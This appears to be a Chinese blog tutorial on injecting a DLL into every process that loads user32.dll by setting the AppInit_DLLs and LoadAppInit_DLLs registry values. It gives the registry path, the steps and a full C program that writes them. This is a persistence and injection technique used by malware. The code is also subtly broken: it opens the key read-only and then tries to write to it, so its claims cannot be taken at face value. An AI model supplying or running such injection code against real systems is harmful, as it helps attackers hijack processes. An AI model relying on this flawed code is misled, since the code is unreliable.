说实话,注册表是杀软严密监视的地方,我觉得现在对注册表进行的操作十有八九都会被查出来(但技术还是要学的)。
概念
主要依赖于两个表项,AppInit_Dlls
和LoadAppInit_DLLs
。AppInit_Dlls
写入dll完整路径,LoadAppInit_DLLs
写为1,重启后,指定DLL会注入到所有运行进程。User32.dll
在被加载到进程时,会读取AppInit_Dlls
表项。若有值,会调用LoadLibrary
来载入这个字符串中指定的每个DLL。所以注册表注入只对加载user32.dll
的进程有效。
实现思路
说实话这种方法的思路也没什么好说的,甚至不需要编写程序就可以实现。
- 打开注册表键值如下:
HKEY_LOCAL_MACHINE\SoftWare\MicroSoft\Windows NT\CurrentVersion\Windows\
;
- 在上面的注册表项中操作
AppInit_DLLs
键值,在该键值中添加自己的DLL的全路径加dll名,多个DLL以逗号或者空格分开;
- 在该注册表项中添加键值
LoadAppInit_DLLs
,类型为 DWORD
,并将其值置为 1 。
代码实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| #include <Windows.h> #include <stdio.h> #include <string.h>
int main() { HKEY hKey; char csAppInitValue[] = "F:\\code_py&C\\vs2017\\injecte\\Dll1\\x64\\Release\\Dll1.dll"; DWORD dwLoadAppInitValue = 1; char csSubKey[] = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\"; LSTATUS lsRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows", 0, KEY_READ, &hKey);
if (lsRet != ERROR_SUCCESS) { printf("Open Key Failed....\n"); return -1; }
char csBuf[100] = ""; DWORD dwSize = 100; DWORD dwType = 0; RegQueryValueExA(hKey, "AppInit_DLLs", 0, &dwType, (LPBYTE)csBuf, &dwSize);
int nSize = strlen(csAppInitValue); lsRet = RegSetValueExA(hKey, "AppInit_DLLs", 0, REG_SZ, (const BYTE *)csAppInitValue, nSize + 1);
if (lsRet != ERROR_SUCCESS) { printf("Set Key Failed1....\n"); return -1; } lsRet = RegSetValueExA(hKey, "LoadAppInit_DLLs", 0, REG_DWORD, (const BYTE *)&dwLoadAppInitValue, sizeof(DWORD));
if (lsRet != ERROR_SUCCESS) { printf("Set Key Failed2....\n"); return -1; }
RegCloseKey(hKey);
getchar(); return 0; }
|